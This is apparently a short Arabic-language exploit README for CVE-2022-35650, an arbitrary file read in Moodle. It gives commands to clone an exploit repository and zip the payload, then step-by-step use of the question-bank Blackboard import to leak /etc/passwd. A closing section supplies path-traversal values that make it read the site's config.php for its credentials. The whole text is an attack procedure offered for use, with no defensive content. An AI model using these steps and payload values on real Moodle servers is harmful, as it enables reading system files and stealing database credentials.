CVE-2022-35650

هذه قراءة ملف تعسفية في مودل.

المتطلبات الأساسية

يجب أن تكون قد اخترقت مستخدمًا بمستوى معلم أو مسؤول.

الخطوات

1. استنسخ هذا المستودع:

git clone https://github.com/Gr4y-r0se/CVE-2022-35650.git

2. شغّل هذا الأمر لضغط الاستغلال في ملف مضغوط:

zip exploit.zip imsmanifest.xml pool.dat

3. انتقل إلى مقرر دراسي يملك حسابك صلاحية الكتابة عليه.
4. انتقل إلى 'بنك الأسئلة'.
5. اختر 'استيراد' من القائمة المنسدلة.
6. حدد 'blackboard' كصيغة.
7. ارفع ملف 'exploit.zip' من الخطوة 2.
8. أكّد عملية الرفع.
9. انقر على زر 'تحرير' للسؤال المدرج الآن.
10. حدد وسم img المعطوب.
11. حدد المصدر من النافذة المنبثقة.
12. انتقل إلى المصدر ولاحظ أنه يتم تنزيل ملف (__passwd).
13. الملف هو محتويات /etc/passwd.

ما بعد إثبات المفهوم (PoC)

إذا أردت قراءة ملف الإعدادات (مع بيانات اعتماد قيّمة)، عيّن baseurl في imsmanifest.xml إلى ما يلي:

../../../../../../../../../../../var/www/html

وعيّن src لوسم img في pool.dat إلى:

muc/config.php